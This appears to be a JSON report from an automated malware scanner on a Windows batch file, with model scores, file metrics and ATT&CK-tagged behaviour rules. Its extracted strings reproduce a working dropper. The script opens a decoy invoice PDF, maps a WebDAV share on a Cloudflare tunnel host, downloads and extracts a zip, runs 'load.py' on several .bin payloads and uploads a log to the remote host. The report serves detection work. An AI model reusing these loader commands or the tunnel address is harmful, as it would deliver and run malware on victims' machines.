{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 0.8251519203186035,
        "class": 0,
        "threshold": 0.9987763166427612
      }
    ],
    "prob": 0.8251519,
    "class": 0,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.8251519,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.48895434,
        "class": 0
      },
      {
        "m": "az/batch",
        "prob": 0.1632653,
        "class": 0
      }
    ],
    "version": "v17.17",
    "threshold": 0.9987763,
    "analyzed_at": "2026-05-31T15:30:33Z"
  },
  "path": "7b3308eafcb2e09f03e42214afa12a09d79bab34ee5b893b32af591a6343522b.bat",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O₂(CEr)H(Po₂)",
        "x": 4,
        "ff": {
          "m": {
            "file": {
              "size": 3162.0,
              "entropy": 5.28,
              "size_bytes": 3162.0
            },
            "text": {
              "digit_ratio": 0.01,
              "space_count": 440.0,
              "total_lines": 95.0,
              "char_entropy": 5.28,
              "unique_chars": 73.0,
              "avg_line_length": 31.28,
              "max_line_length": 116.0,
              "empty_line_ratio": 0.16,
              "last_line_length": 62.0,
              "whitespace_ratio": 0.2,
              "most_common_ratio": 0.06,
              "line_length_stddev": 27.42,
              "repeated_char_sequences": 2.0,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 1.0,
              "most_common_char_codepoint": 101.0
            }
          },
          "s": [
            [
              0,
              "u8",
              "@echo off"
            ],
            [
              11,
              "u8",
              "setlocal enabledelayedexpansion"
            ],
            [
              46,
              "u8",
              ":: Open the PDF file in the default browser"
            ],
            [
              91,
              "u8",
              "set \"pdfUrl=https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdf\""
            ],
            [
              191,
              "u8",
              "echo Opening PDF: %pdfUrl% ..."
            ],
            [
              246,
              "u8",
              ":: Define WebDAV UNC path and local drive letter"
            ],
            [
              296,
              "u8",
              "set \"WEBDAV=\\\\terrain-anger-loading-prior.trycloudflare.com@SSL\\DavWWWRoot\""
            ],
            [
              373,
              "u8",
              "set \"DRIVE=Z:\""
            ],
            [
              391,
              "u8",
              ":: Define paths"
            ],
            [
              408,
              "u8",
              "set \"DEST_FOLDER=%USERPROFILE%\\Contacts\""
            ],
            [
              450,
              "u8",
              "set \"ZIP_FILE=%DEST_FOLDER%\\zap.zip\""
            ],
            [
              488,
              "u8",
              "set \"EXTRACTED_FOLDER=%DEST_FOLDER%\\Python\""
            ],
            [
              533,
              "u8",
              "set \"LOG_FILE=%DEST_FOLDER%\\error_log.txt\""
            ],
            [
              579,
              "u8",
              ":: Clear old log file"
            ],
            [
              602,
              "u8",
              "echo [LOG] Script started at %DATE% %TIME% \u003e \"%LOG_FILE%\""
            ],
            [
              663,
              "u8",
              ":: Map WebDAV to drive letter"
            ],
            [
              694,
              "u8",
              "net use %DRIVE% \"%WEBDAV%\" /user:your-username your-password /persistent:no"
            ],
            [
              771,
              "u8",
              "if %errorlevel% neq 0 ("
            ],
            [
              796,
              "u8",
              "echo [ERROR] Failed to connect to WebDAV. \u003e\u003e \"%LOG_FILE%\""
            ],
            [
              859,
              "u8",
              "goto error"
            ],
            [
              880,
              "u8",
              ":: Copy the ZIP file"
            ],
            [
              902,
              "u8",
              "echo Copying ZIP file..."
            ],
            [
              928,
              "u8",
              "copy \"%DRIVE%\\zap.zip\" \"%ZIP_FILE%\" \u003e\u003e \"%LOG_FILE%\" 2\u003e\u00261"
            ],
            [
              1011,
              "u8",
              "echo [ERROR] Failed to copy ZIP file. \u003e\u003e \"%LOG_FILE%\""
            ],
            [
              1091,
              "u8",
              ":: Ensure the extraction folder exists"
            ],
            [
              1131,
              "u8",
              "if not exist \"%DEST_FOLDER%\" mkdir \"%DEST_FOLDER%\""
            ],
            [
              1185,
              "u8",
              ":: Extract the ZIP file"
            ],
            [
              1210,
              "u8",
              "echo Extracting ZIP file..."
            ],
            [
              1239,
              "u8",
              "powershell -Command \"Expand-Archive -Path '%ZIP_FILE%' -DestinationPath '%DEST_FOLDER%' -Force\" \u003e\u003e \"%LOG_FILE%\" 2\u003e\u00261"
            ],
            [
              1382,
              "u8",
              "echo [ERROR] Extraction failed! \u003e\u003e \"%LOG_FILE%\""
            ],
            [
              1435,
              "u8",
              "dir \"%DEST_FOLDER%\" \u003e\u003e \"%LOG_FILE%\""
            ],
            [
              1497,
              "u8",
              ":: Verify if extracted folder exists"
            ],
            [
              1535,
              "u8",
              "if not exist \"%EXTRACTED_FOLDER%\" ("
            ],
            [
              1572,
              "u8",
              "echo [ERROR] Extraction may have failed. Directory %EXTRACTED_FOLDER% not found. \u003e\u003e \"%LOG_FILE%\""
            ],
            [
              1736,
              "u8",
              ":: Navigate to the correct extracted folder"
            ],
            [
              1781,
              "u8",
              "cd /d \"%EXTRACTED_FOLDER%\""
            ],
            [
              1834,
              "u8",
              "echo [ERROR] Failed to navigate to extracted folder: %EXTRACTED_FOLDER% \u003e\u003e \"%LOG_FILE%\""
            ],
            [
              1948,
              "u8",
              ":: Execute specific .bin files using python load.py"
            ],
            [
              2001,
              "u8",
              "for %%F in (an.bin pay.bin payload.bin ve.bin) do ("
            ],
            [
              2054,
              "u8",
              "if exist \"%%F\" ("
            ],
            [
              2076,
              "u8",
              "echo [INFO] Executing: python load.py \"%%F\" \u003e\u003e \"%LOG_FILE%\""
            ],
            [
              2145,
              "u8",
              "python load.py \"%%F\" \u003e\u003e \"%LOG_FILE%\" 2\u003e\u00261"
            ],
            [
              2229,
              "u8",
              "echo [ERROR] Execution failed for python load.py \"%%F\". \u003e\u003e \"%LOG_FILE%\""
            ],
            [
              2349,
              "u8",
              ") else ("
            ],
            [
              2363,
              "u8",
              "echo [ERROR] File %%F not found in %EXTRACTED_FOLDER%. \u003e\u003e \"%LOG_FILE%\""
            ],
            [
              2475,
              "u8",
              ":: If everything is successful, download a.txt"
            ],
            [
              2523,
              "u8",
              "echo [INFO] Script executed successfully! Downloading a.txt... \u003e\u003e \"%LOG_FILE%\""
            ],
            [
              2603,
              "u8",
              "copy \"%DRIVE%\\a.txt\" \"%DEST_FOLDER%\\a.txt\" \u003e\u003e \"%LOG_FILE%\" 2\u003e\u00261"
            ],
            [
              2668,
              "u8",
              "goto cleanup"
            ],
            [
              2692,
              "u8",
              ":: If an error occurs, download b.txt"
            ],
            [
              2731,
              "u8",
              "echo [INFO] An error occurred! Downloading b.txt... \u003e\u003e \"%LOG_FILE%\""
            ],
            [
              2800,
              "u8",
              "copy \"%DRIVE%\\b.txt\" \"%DEST_FOLDER%\\b.txt\" \u003e\u003e \"%LOG_FILE%\" 2\u003e\u00261"
            ],
            [
              2867,
              "u8",
              ":: Upload error log to WebDAV"
            ],
            [
              2898,
              "u8",
              "echo [INFO] Uploading error_log.txt to WebDAV... \u003e\u003e \"%LOG_FILE%\""
            ],
            [
              2964,
              "u8",
              "copy \"%LOG_FILE%\" \"%DRIVE%\\error_log.txt\" \u003e\u003e \"%LOG_FILE%\" 2\u003e\u00261"
            ],
            [
              3040,
              "u8",
              ":: Cleanup: Unmount WebDAV"
            ],
            [
              3068,
              "u8",
              "net use %DRIVE% /delete /yes"
            ],
            [
              3098,
              "u8",
              "echo [INFO] Script completed at %DATE% %TIME%. \u003e\u003e \"%LOG_FILE%\""
            ]
          ],
          "v": {
            "file.stem": "7b3308eafcb2e09f03e42214afa12a09d79bab34ee5b893b32af591a6343522b",
            "file.basename": "7b3308eafcb2e09f03e42214afa12a09d79bab34ee5b893b32af591a6343522b.bat"
          },
          "id": "batch"
        },
        "id": 0,
        "sz": 3162,
        "ts": [
          {
            "c": 0.75,
            "d": "Regex component marker",
            "e": [
              "mkdir"
            ],
            "i": "micro-behaviors/fs/directory/mkdir::temp-mkdir-command--rx-2",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              "start"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::keyed-temp-payload-launch--rx-1",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "password/token/api_key field keyword",
            "e": [
              "password"
            ],
            "i": "micro-behaviors/data/text/keywords/credential::credential-field",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "PowerShell invoked from shell or batch",
            "e": [
              "powershell -"
            ],
            "i": "micro-behaviors/process/create/shell/lang::powershell-invocation",
            "l": 3
          },
          {
            "a": "T1552.001",
            "c": 0.30000001192092896,
            "d": "\"password\" keyword",
            "e": [
              "password"
            ],
            "i": "objectives/supply-chain/credential-theft/registry::settings-password-keyword",
            "l": 1
          },
          {
            "c": 0.4000000059604645,
            "d": "msiexec MSI or UNC target",
            "e": [
              "\\\\terrain-anger-loading-prior.trycloudflare.com@SSL\\DavWWWRoot\""
            ],
            "i": "objectives/execution/lolbin/os::msiexec-package-target",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Batch delayed variable expansion",
            "e": [
              "setlocal enabledelayedexpansion"
            ],
            "i": "objectives/execution/interpreter/script/batch::enabledelayedexpansion",
            "l": 2
          },
          {
            "c": 0.6000000238418579,
            "d": "Echo off",
            "e": [
              "@echo off"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::echo-off",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Destructive delete verb",
            "e": [
              "delete"
            ],
            "i": "micro-behaviors/data/text/keywords/lexicon::delete-verb",
            "l": 1
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "PowerShell archive extraction command marker",
            "e": [
              "Expand-Archive"
            ],
            "i": "objectives/command-and-control/dropper/staging/archive::powershell-archive-extract",
            "l": 1
          },
          {
            "a": "T1059.001",
            "c": 0.8999999761581421,
            "d": "PowerShell launcher reference",
            "e": [
              "powershell"
            ],
            "i": "objectives/execution/interpreter/script/wsh::powershell-launcher",
            "l": 1
          },
          {
            "c": 0.6000000238418579,
            "d": "payload keyword",
            "e": [
              "payload"
            ],
            "i": "micro-behaviors/data/text/keywords/lexicon::payload",
            "l": 1
          },
          {
            "a": "T1036",
            "c": 0.800000011920929,
            "d": "start \"\" \"\u003cvar\u003e\" shell-open default handler call",
            "e": [
              "start \"\" \"%pdfUrl%\""
            ],
            "i": "objectives/evasion/masquerade/file/lure::shell-open-variable-arg",
            "l": 3
          },
          {
            "a": "T1071.001",
            "c": 0.4000000059604645,
            "d": "Generic cmd/command/result field word fragment",
            "e": [
              "Command"
            ],
            "i": "objectives/command-and-control/beacon/network/json::result-command-word",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1486",
            "c": 1.0,
            "d": "Start launcher per host",
            "e": [
              "start \"\" \"%pdfUrl%\""
            ],
            "i": "objectives/impact/ransom/staging::start-many-launch",
            "l": 1
          },
          {
            "c": 0.8799999952316284,
            "d": "Destructive cleanup verb",
            "e": [
              "Clear"
            ],
            "i": "micro-behaviors/data/text/keywords/lexicon::cleanup-verb",
            "l": 1
          },
          {
            "a": "T1071.001",
            "c": 0.75,
            "d": "HTTP/HTTPS URL literal (raw)",
            "e": [
              "https://www.healyconsultants.com"
            ],
            "i": "micro-behaviors/communications/http/lib/invoke-webrequest::uri-literal-raw",
            "l": 2,
            "m": "C0002"
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 95.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "c": 0.9399999976158142,
            "d": "Batch echo redirects staged content",
            "e": [
              "echo [LOG] Script started at %DATE% %TIME% \u003e "
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::grouped-echo-stage-redirect--rx-3",
            "l": 1
          },
          {
            "a": "T1059.006",
            "c": 0.8600000143051147,
            "d": "Batch invokes Python script",
            "e": [
              "python load.py"
            ],
            "i": "micro-behaviors/process/interpreter/python::python-script-from-batch",
            "l": 3,
            "m": "E1059"
          },
          {
            "c": 1.0,
            "d": "echo off batch command",
            "e": [
              "@echo off"
            ],
            "i": "objectives/command-and-control/dropper/builder::echo-off-batch",
            "l": 1
          },
          {
            "a": "T1105",
            "c": 0.7799999713897705,
            "d": "Loader key argument hint",
            "e": [
              " enabledelayedexpansion\r\n\r"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::rc4-key-argument-hint",
            "l": 1
          },
          {
            "a": "T1204.002",
            "c": 0.8500000238418579,
            "d": "PowerShell archive file extension marker",
            "e": [
              ".zip"
            ],
            "i": "objectives/command-and-control/dropper/staging/archive::powershell-archive-extension",
            "l": 1
          },
          {
            "d": "password keyword",
            "e": [
              "password"
            ],
            "i": "micro-behaviors/data/text/keywords/lexicon::password",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "powershell keyword",
            "e": [
              "powershell"
            ],
            "i": "micro-behaviors/process/create/shell/lang::powershell-keyword",
            "l": 3
          },
          {
            "c": 0.699999988079071,
            "d": "python interpreter keyword (beyond shebang)",
            "e": [
              "\\Python\""
            ],
            "i": "micro-behaviors/process/interpreter/python::python-keyword",
            "l": 3
          },
          {
            "a": "T1572",
            "c": 0.699999988079071,
            "d": "Cloudflare tunnel endpoint",
            "e": [
              "terrain-anger-loading-prior.trycloudflare.com"
            ],
            "i": "objectives/command-and-control/infrastructure/domain/tunnel::cloudflare-tunnel",
            "l": 3
          },
          {
            "c": 0.75,
            "d": "Inline password token in lure",
            "e": [
              "password /persistent"
            ],
            "i": "objectives/lateral-movement/social-engineering/lures::inline-password-token",
            "l": 1
          }
        ],
        "sha": "7b3308eafcb2e09f03e42214afa12a09d79bab34ee5b893b32af591a6343522b",
        "path": "7b3308eafcb2e09f03e42214afa12a09d79bab34ee5b893b32af591a6343522b.bat",
        "type": "batch"
      }
    ],
    "tv": "52045"
  }
}